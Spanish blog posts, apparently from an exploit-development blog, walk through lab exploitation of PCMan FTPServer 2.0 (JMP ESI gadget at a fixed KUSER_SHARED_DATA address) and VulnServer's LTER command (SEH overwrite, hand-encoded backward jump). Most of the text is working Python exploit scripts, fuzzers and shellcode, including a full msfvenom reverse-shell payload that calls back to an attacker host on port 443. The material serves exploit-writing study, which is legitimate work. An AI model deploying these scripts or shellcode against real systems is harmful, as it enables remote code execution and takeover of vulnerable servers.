Jugando con el KUSER_SHARED_DATA

Published on:

Introducción

En esta tercera entrada (y de momento la última) sobre exploiting, vamos a ver algo interesante sobre un espacio de memoria que siempre permanece fijo en la misma posición.

  • ¿Pero qué me dices? Eso es imposible, los últimos Windows todos traen ASLR. ¡No puede ser!

Esa fue mi primera reacción, pero gracias a los cracks Ricardo Narvaja y "Gus DS" del canal de Telegram de CLS me explicaron que hay una zona de la memoria que siempre se carga en la misma posición en todos los binarios de windows. También se puede leer en el libro "Practical Reverse Engineering": "On all architectures, there is a per-process structure called KUSERSHAREDDATA that is always mapped at 0x7ffe0000".
Esto es bastante útil cuando tenemos ASLR o si en la libreria o ejecutable que no tiene ASLR no podemos usar la dirección porque contiene el carácter null (\x00). Aunque es díficil encontrar un gadget que sirva para tu exploit porque en esta zona se guardan datos como la hora del sistema, variables globales, etc, a veces suena la flauta, como en este caso y encuentras un gadget salvador. Alguien también me comentaron por el canal que incluso se puede lanzar el exploit a una hora determinada y exacta para utilizar esos valores como gadget. Pura virguería de exploiter que se me queda un poco grande.

Laboratorio

Todos este artículo está basado en los resultados de ejecutar el software "PCMan FTPServer 2.0" en un "Windows Vista Ultimate Service Pack 1". Si lo haces con otro sistema operativo puede que los resultados sean diferentes, con lo que te serviría como práctica.

¡Al lío!

Nos saltamos el hallar el offset del crash y los bad chars y entramos en situación directamente cuando vemos que nuestro programa "crashea" y no hay manera de encontrar un gadget que no tenga el caracter null. Explotamos el crash abusando del comando "ls" del FTP. Este nuestro script inicial con el crash:

#!/usr/bin/python

import socket
import sys
import os

#[*] Exact match at offset 2008                            

#Bad chars = \x00\x0a\x0d

crash = "A" * 2008 + "\x42\x42\x42\x42" + "\x90" * 20 + "\xcc"  + "B" * 900

buffer = crash + "\r\n"

print "[**] Sending a present to PCMan..."
try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.11.10", 21))

print(expl.recv(1024))
expl.send("USER anonymous\r\n")
print(expl.recv(1024))
expl.send("PASS pass\r\n")
print(expl.recv(1024))
expl.send("ls " + buffer)
expl.close()

En las siguientes imagenes se ve claramente como el registro ESI apunta al principio de nuestro buffer cuando el EIP llega a nuestras B's. Ups! Perdón, pero ya no se pueden subir imágenes en logdown con la versión gratuita, ahora hay que pagar money para esa funcionalidad. Lo pondré en texto, a ver como queda:

0012ED58  41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42  AAAAAAAAAAAABBBB
0012ED68  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  
0012ED78  90 90 90 90 CC 42 42 42 42 42 42 42 42 42 42 42  ÌBBBBBBBBBBB
0012ED88  42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB

Y aquí se ve el valor de los registros:

EAX 00000000
ECX 009D0570
EDX 00000030
EBX 00000000
ESP 0012ED6C
EBP 01BE1BA0
ESI 0012ED78
EDI 00000004
EIP 42424242

La búsqueda del gadget "JMP ESI" con mona sólo nos muestra resultados en los módulos sin ASLR y todas las direcciones de los gadgets encontrados en "blowfish.dll" y "pcmanftp2.exe" contienen el valor null("\x00"). Por lo tanto hay que buscar en otro sitio, y aquí es donde entra en juego el area de memoria que permanece fijo alrededor de KUSER_SHARED_DATA, concretamente este:

Memory map, item 247
 Address=7F6F0000
 Size=00006000 (24576.)
 Owner=         7F6F0000 (itself)
 Section=
 Type=Map  00041002
 Access=R
 Initial access=R

Si buscamos en la memoria el opcode de JMP ESI que es FFE6, encontramos este grupo de gadgets disponibles:

rasm2 -a x86 -b 32  'JMP ESI'
ffe6
7FFD15C0  00 00 00 00 00 00 00 00 00 00 00 00 E6 FF E6 FF  ............æÿæÿ
7FFD15D0  E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF  æÿæÿæÿæÿæÿæÿæÿæÿ
7FFD15E0  E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF  æÿæÿæÿæÿæÿæÿæÿæÿ
7FFD15F0  E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF E6 FF  æÿæÿæÿæÿæÿæÿæÿæÿ

Y concretamente elegiremos este:

7FFD15EB   FFE6             JMP ESI

¿Por qué elegimos esta posición exactamente y no cualquier otra disponible? Esta es la parte curiosa del asunto y por la que me he obligado a escribir este post. Resulta que cuando ponemos cualquiera de esas direcciones del JMP ESI hace que el EIP caiga sobre el valor mismo de esa dirección. Es decir la dirección que pongamos, además de ejecutar el JMP ESI, también necesitamos que tenga sentido como código ensamblador. Si nos fijamos detenidamente la última parte de la dirección de memoria "15EB", su valor hexadecimal se traduce en ensamblador en "JMP 0x17":

rasm2 -a x86 -b 32  -d 'eb15'
jmp 0x17

Este salto nos permite avanzar en nuestro buffer y evitar el resto de la dirección haga interferencia con nuestro código, de esta manera podemos poner nuestro payload en esa parte del buffer y ejecutar nuestra reverse shell con una elegancia y un virutisismo exquisito. Me encanta este tipo de soluciones que tienen algo de magia en el proceso.
Este es el script definitivo que nos da la reverse shell:

#!/usr/bin/python


import socket
import sys
import os

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.106 LPORT=443 -b "\x00\x0d\x0a" -a x86 --platform windows -f python

#351 bytes


buf =  b""
buf += b"\xda\xc9\xbb\x6e\x90\xbb\x04\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x52\x31\x5e\x17\x83\xc6\x04\x03\x30\x83\x59"
buf += b"\xf1\x30\x4b\x1f\xfa\xc8\x8c\x40\x72\x2d\xbd\x40\xe0"
buf += b"\x26\xee\x70\x62\x6a\x03\xfa\x26\x9e\x90\x8e\xee\x91"
buf += b"\x11\x24\xc9\x9c\xa2\x15\x29\xbf\x20\x64\x7e\x1f\x18"
buf += b"\xa7\x73\x5e\x5d\xda\x7e\x32\x36\x90\x2d\xa2\x33\xec"
buf += b"\xed\x49\x0f\xe0\x75\xae\xd8\x03\x57\x61\x52\x5a\x77"
buf += b"\x80\xb7\xd6\x3e\x9a\xd4\xd3\x89\x11\x2e\xaf\x0b\xf3"
buf += b"\x7e\x50\xa7\x3a\x4f\xa3\xb9\x7b\x68\x5c\xcc\x75\x8a"
buf += b"\xe1\xd7\x42\xf0\x3d\x5d\x50\x52\xb5\xc5\xbc\x62\x1a"
buf += b"\x93\x37\x68\xd7\xd7\x1f\x6d\xe6\x34\x14\x89\x63\xbb"
buf += b"\xfa\x1b\x37\x98\xde\x40\xe3\x81\x47\x2d\x42\xbd\x97"
buf += b"\x8e\x3b\x1b\xdc\x23\x2f\x16\xbf\x2b\x9c\x1b\x3f\xac"
buf += b"\x8a\x2c\x4c\x9e\x15\x87\xda\x92\xde\x01\x1d\xd4\xf4"
buf += b"\xf6\xb1\x2b\xf7\x06\x98\xef\xa3\x56\xb2\xc6\xcb\x3c"
buf += b"\x42\xe6\x19\x92\x12\x48\xf2\x53\xc2\x28\xa2\x3b\x08"
buf += b"\xa7\x9d\x5c\x33\x6d\xb6\xf7\xce\xe6\x79\xaf\xe8\x9c"
buf += b"\x11\xb2\x08\x60\x59\x3b\xee\x08\x8d\x6a\xb9\xa4\x34"
buf += b"\x37\x31\x54\xb8\xed\x3c\x56\x32\x02\xc1\x19\xb3\x6f"
buf += b"\xd1\xce\x33\x3a\x8b\x59\x4b\x90\xa3\x06\xde\x7f\x33"
buf += b"\x40\xc3\xd7\x64\x05\x35\x2e\xe0\xbb\x6c\x98\x16\x46"
buf += b"\xe8\xe3\x92\x9d\xc9\xea\x1b\x53\x75\xc9\x0b\xad\x76"
buf += b"\x55\x7f\x61\x21\x03\x29\xc7\x9b\xe5\x83\x91\x70\xac"
buf += b"\x43\x67\xbb\x6f\x15\x68\x96\x19\xf9\xd9\x4f\x5c\x06"
buf += b"\xd5\x07\x68\x7f\x0b\xb8\x97\xaa\x8f\xc8\xdd\xf6\xa6"
buf += b"\x40\xb8\x63\xfb\x0c\x3b\x5e\x38\x29\xb8\x6a\xc1\xce"
buf += b"\xa0\x1f\xc4\x8b\x66\xcc\xb4\x84\x02\xf2\x6b\xa4\x06"

#[*] Exact match at offset 2008                            

#Bad chars = \x00\x0a\x0d

# No vale  "\x17\x42\x42\x00"

# Prueba con EB

#7FFD15eb        FF         JMP ESI  


crash = "A" * 2008 + "\xeb\x15\xfd\x7f" + "\x90" * 20 + buf
buffer = crash + "\r\n"

print "[**] Sending a present to PCMan..."
try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.56.102", 21))

print(expl.recv(1024))
expl.send("USER anonymous\r\n")
print(expl.recv(1024))
expl.send("PASS pass\r\n")
print(expl.recv(1024))
expl.send("ls " + buffer)
expl.close()

Jugando con LTER (vulnserver)

Published on:

Introducción

En esta segunda entrada sobre explotación en espacios pequeños y con carácteres no permitidos le ha tocado el turno al archiconocido VulnServer y su comando más divertido para mi, el LTER. En esta ocasión se trata de lidiar con un espacio de 52 bytes donde vamos a codificar manualmente un salto hacia atrás, para colocar ahí nuestro reverse shell codificado. Entre medias habrá que hacer algunos encajes de bolillos sobre la marcha para que todo cuadre como si pareciera que sabemos lo que estamos haciendo. Esto en realidad es pura suerte :-)

Laboratorio

Todos este artículo está basado en los resultados de ejecutar VulnServer en un Windows Vista Ultimate Service Pack 1. Si lo haces con otro sistema operativo puede que los resultados sean diferentes.

Fuzzing

Lo primero es hacer fuzzing al servidor en el puerto 9999, para ello podemos utilizar spike o la libreria de fuzzing de python (boofuzz). Hay mucha documentación donde podéis profundizar, pero aquí vamos a usar estos dos scripts básicos para ver como el servidor deja de funcionar.
vuln.spk:

s_string("LTER ");
s_string_variable(" ");
s_string("\r\n");

vuln_fuzz_boo.py:

#!/usr/bin/env python

from boofuzz import *

def main():
    session = Session(
        target=Target(
        connection=SocketConnection("192.168.11.10", 9999, proto='tcp')),
        web_port =8080)    
    
    s_initialize("command")
    s_static("LTER")
    s_delim(" ")
    s_string(" ")
    s_static("\r\n")
           
    session.connect(s_get("command"))
    session.fuzz()
if __name__ == "__main__":
    main()

Una vez que el programa ha "crasheado", y utilizando la técnica de mandar un pattern, nos encontramos con que el comando LTER "peta" cuando le mandas más de 3519 bytes detrás. Y podemos controlar el EIP mediante SEH con este script:

#!/usr/bin/python


import socket
import sys
import os

#[*] Exact match at offset 3519


crash = "A" * 3519 +  "\x42\x42\x42\x42" + "C" * 256
buffer = "LTER /.:/" + crash + "\r\n"

print "[**] Sending a present to VulnServer"
try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.11.10", 9999))
expl.recv(1024)
expl.send(buffer)
expl.close()

Bad chars

Ahora vamos a comprobar cuales son los "bad characters" que tenemos que evitar en nuestro payload. Para ello, hacemos como siempre: metemos los badchars y comprobamos cuales modifican el contenido de nuestro payload. Según se ve claramente en la imagen, sólo podemos usar los caracteres en este rango: \x01...\x7f

Control del EIP

El siguiente paso es encontrar un "gadget" con POP POP RET que este libre de protecciones en nuestro programa (ASLR, Rebase, etc...) Y además que la dirección de ese gadget no tenga ningún "badchar". Usando mona es tan sencillo como:

!mona seh
0x6250195e : pop edi # pop ebp # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\test\Desktop\vulnserver\essfunc.dll)

Y este sería el script hasta el momento:

#!/usr/bin/python

import socket
import sys
import os

#[*] Exact match at offset 3519

# 6250195E

# Good chars: \x01...\x7f

crash = "A" * 3519 + "\x5e\x19\x50\x62" + "B" * 256

buffer = "LTER /.:/" + crash + "\r\n"

print "[**] Sending a present to VulnServer"
try:
    expl=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
except:
    print "socket() failed"
    sys.exit(1)

expl.connect(("192.168.11.10", 9999))
expl.recv(1024)
expl.send(buffer)
expl.close()

Ahora vamos a pararnos aquí, cuando le devolvemos la gestión de la excepción SEH al programa (shift + f9), para prestar especial atención al estado de los registros, la pila, y ver como queda en memoria el buffer que hemos enviado. Es importante tener presente estos detalles a la hora de controlar el espacio que tenemos disponible porque será fundamental a la hora de saber el número de instrucciones de ensamblador que necesitamos para conseguir nuestro objetivo.
Tal como se ve en la imagen después de tener el control del EIP sólo disponemos de 52 bytes de espacio para meter ahí nuestro código:


Fijaos que los registros EAX, EBX y EDI están a cero, esto nos ahorrara un buen numero de bytes a la hora de poner a cero los registros:

En cuanto al estado de la pila, se puede ver que el valor de EIP se encuentra en [ESP-0xc], esto nos servirá como referencia para calcular el salto hacia atrás donde pondremos nuestro payload:

Como se puede ver en la siguiente imagen al volver con el RET del control del SEH, nos encontramos en la posición de la pila 0x00F5FFC4 y tenemos que hacer un pequeño salto de 6 bytes hasta llegar al principio de los 52 bytes disponibles (0x00F5FFCC):

Viendo los registros de estados y como solo podemos usar ciertos opcodes, necesitamos esta instrucción para realizar el salto:

76 cb  JBE rel8    Jump short if below or equal (CF=1 or ZF=1)

Para codificar nuestro salto de 6 bytes sería:

rasm2 -a x86 -b 32  'jbe 0x6'
7604

Y el valor de nuestro buffer quedaría:

crash = "A" * 3517 + "\x76\x04" + "\x5e\x19\x50\x62" + "B" * 52

Shellcode en 52 bytes con opcodes restringidos por los bad chars.

Una vez que hemos llegado al principio de nuestro buffer de 52 bytes, nuestra intención es codificar un salto hacia atrás al principio de nuestro buffer (0xC00=3072 bytes), para poner ahí nuestro payload codificado de una reverse shell de metasploit. Como tenemos sólo 52 bytes donde tiene que caber tanto el codigo del decoder como el resultado de decodificarlo (el salto hacia atrás), hay que aprovechar muy bien el espacio para tener suficiente stack frame y que el decoder en ejecución no machaque los valores de la pila e impida que se ejecute nuestro salto hacia atrás.

Como hemos indicado más arriba, estas son algunas ideas para aprovechar bien el espacio:
- Como en el crash EAX, ECX y ESI valen 0, ya no tenemos que hacer AND para poner a cero los registros.
- Como tenemos el valor de EIP en ESP-0xC, metemos dos POP EBX antes del salto JBE para aprovechar el espacio. De esta manera nos ahorramos dos bytes.
- En EBX guardamos el contenido del EIP que está en ESP-0xc
- Para poner a 0 EAX durante la ejecución y como ESI = 0, usamos PUSH ESI y POP EAX. Nos ahorramos 8 bytes.
- Por último en el salto ya decodificado usamos ECX para meter el número de bytes que vamos a saltar. Nos ahorramos 10 bytes.

Si tenemos este código ensamblador del salto sin codificar:

0114FFF8   80C5 0C          ADD CH,0C
0114FFFB   2BD9             SUB EBX,ECX ; EBX contiene el valor del EIP 
0114FFFD   FFE3             JMP EBX
0114FFFF   42               INC EDX ; Relleno, debe ser multiplo de 8

Así nos quedaría el shellcode, donde tendremos: el valor del EIP después del crash en EBX, el ajuste inicial del ESP, el salto de 3072 bytes codificado y :

; Aprovechamos dos bytes antes del salto condicional para llegar a [ESP-0xc]
0114FFC4   5B               POP EBX                                  
0114FFC5   5B               POP EBX
0114FFC6   76 04            JBE SHORT 0114FFCC
;Esto no es código, es la dirección del POP POP RET ("\x5e\x19\x50\x62")
0114FFC8   5E               POP ESI
0114FFC9   1950 62          SBB DWORD PTR DS:[EAX+62],EDX
;Desplazamos ESP 60 posiciones abajo para colocar ahí el salto descodificado
0114FFCC   04 3C            ADD AL,3C ; EAX = 0x3c
0114FFCE   030424           ADD EAX,DWORD PTR SS:[ESP] ; EAX = 0x3c + ESP
0114FFD1   5B               POP EBX ; EBX=EIP al volver del crash
0114FFD2   50               PUSH EAX ; 
0114FFD3   5C               POP ESP ; Desplazamos ESP, que valdrá ESP + 0x3c
;Decoder del salto de 3072 bytes
0114FFD4   56               PUSH ESI ; ESI = 0
0114FFD5   58               POP EAX ; EAX = 0
0114FFD6   2D 017F0162      SUB EAX,62017F01
0114FFDB   2D 010A0101      SUB EAX,1010A01
0114FFE0   2D 2577195A      SUB EAX,5A197725
0114FFE5   50               PUSH EAX
0114FFE6   56               PUSH ESI
0114FFE7   58               POP EAX
0114FFE8   2D 09017F75      SUB EAX,757F0109
0114FFED   2D 7739745F      SUB EAX,5F743977
0114FFF2   56               PUSH ESI
0114FFF3   59               POP ECX
0114FFF4   50               PUSH EAX

Así quedaría nuestro buffer:

jmpback = "\x04\x3C\x03\x04\x24\x5B\x50\x5C\x56\x58\x2D\x01\x7F\x01\x62\x2D\x01\x0A\x01\x01\x2D\x25\x77\x19\x5A\x50\x56\x58\x2D\x09\x01\x7F\x75\x2D\x77\x39\x74\x5F\x56\x59\x50"
crash = "A" * 3515 + + "\x5B\x5B\x76\x04" + "\x5e\x19\x50\x62" + jmpback + "B" * 12

Nos quedan 12 B's al final que es donde se va a ir descodificando nuestro salto hacia atrás de 3074 bytes.

Por fín más espacio

Ahora que ya estamos al principio del buffer con mucho más espacio, tendremos que crear un reverse shell y codificarlo mediante el script alpha_num_encoder.py:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.106 LPORT=443 -b "\x00" -a x86 --platform windows -f hex
#Payload size: 351 bytes
#Payload size encoded with alpha_num_encoder.py: [+++++] Length: 2288

Pero antes del payload con el reverse shell codificado, tenemos que ajustar el ESP 64 bytes hacia atrás (0x40), que es donde se va descodificar nuestro reverse shell. Ponemos este código antes del payload:

AND eax,0x31313131
AND eax,0x4E4E4E4E
ADD AL,0x40
PUSH EAX
PUSH ESP 
POP EAX
SUB EAX,DWORD PTR SS:[ESP] 
PUSH EAX
POP ESP  
adjustESP1 = "\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x04\x40\x50\x54\x58\x2B\x04\x24\x50\x5C"

Nuestro buffer estaría así, no pongo el valor de "revshellencoded" porque ocupa mucho:

adjustESP1 = "\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x04\x40\x50\x54\x58\x2B\x04\x24\x50\x5C"
jmpback = "\x04\x3C\x03\x04\x24\x5B\x50\x5C\x56\x58\x2D\x01\x7F\x01\x62\x2D\x01\x0A\x01\x01\x2D\x25\x77\x19\x5A\x50\x56\x58\x2D\x09\x01\x7F\x75\x2D\x77\x39\x74\x5F\x56\x59\x50"
crash = "A" * 515 + adjustESP1 + revshellencoded + "C" * 692 + "\x5B\x5B\x76\x04" + "\x5e\x19\x50\x62" + jmpback + "B" * 12

Problemas en el paraíso, el payload no se ejecuta y no hay shell.

Una vez que se decodifica el reverse shell, vemos que tenemos el EIP=ESP lo que hace que el reverse shell no funcione correctamente porque sobreescribe la pila modificando el código y produce un error. Para evitar esto, después de pensar un buen rato, había que tratar de alejar el ESP del EIP para que no se machacaran los datos en la pila. Como idea feliz, lo que hice fue añadir instrucciones PUSH al payload y así el ESP va subiendo y no machaca la ejecucción del reverse shell decodificado. Con lo que voy desplazando el ESP hacia arriba mientras el EIP baja, llegarán a cruzarse primero y luego se alejarán en la distancia para evitar que las acciones en la pila afecten a la ejecucción. Seguro que a vosotros se ocurre otra cosa mucho más simple y elegante ;-)

rasm2 -a x86 -b 32  -d '6853535353'
push 0x53535353

Ponemos estos nuevos PUSH en la variable adjustESP2:

adjustESP2 = "\x68\x53\x53\x53\x53" * 18

Y aquí vemos los PUSH que hemos añadido:


Por lo tanto alejamos el stack frame un total de:
- 18 del PUSH 0x53535353
- Y como el comando anterior escribe (72) 18x4 PUSH EBX
- Esto hace un total de 90 PUSH.
Por lo que movemos el ESP hacia arriba 360 posiciones, de esta manera no machaca la reverse shell decodificada, machacará código anterior que ya se ha ejecutado y que ya no afecta a la ejecucción del reverse shell.
En estas imágenes se puede ver el momento en el que ESP se cruza con el EIP y como se evita que el código del reverse shell sea sobrescrito ejecutando los PUSH:

En la siguiente imagen se puede ver la ejecucción de los PUSH antes de ejecutar el reverse shell decodificado:

Habemus shell.

El buffer final quedaría así:

adjustESP1 = "\x25\x31\x31\x31\x31\x25\x4E\x4E\x4E\x4E\x04\x40\x50\x54\x58\x2B\x04\x24\x50\x5C"
adjustESP2 = "\x68\x53\x53\x53\x53" * 18
jmpback = "\x04\x3C\x03\x04\x24\x5B\x50\x5C\x56\x58\x2D\x01\x7F\x01\x62\x2D\x01\x0A\x01\x01\x2D\x25\x77\x19\x5A\x50\x56\x58\x2D\x09\x01\x7F\x75\x2D\x77\x39\x74\x5F\x56\x59\x50"
crash = "A" * 515 + adjustESP1 + revshellencoded + adjustESP2 + "C" * 602 + "\x5B\x5B\x76\x04" + "\x5e\x19\x50\x62" + jmpback + "B" * 12

Espero haberme explicado un poco y que podáis reproducrilo en vuestro laboratorio. La idea es que juguéis con el lenguaje ensamblador y consigáis un código más elegante que el mio, cosa que es bastante fácil.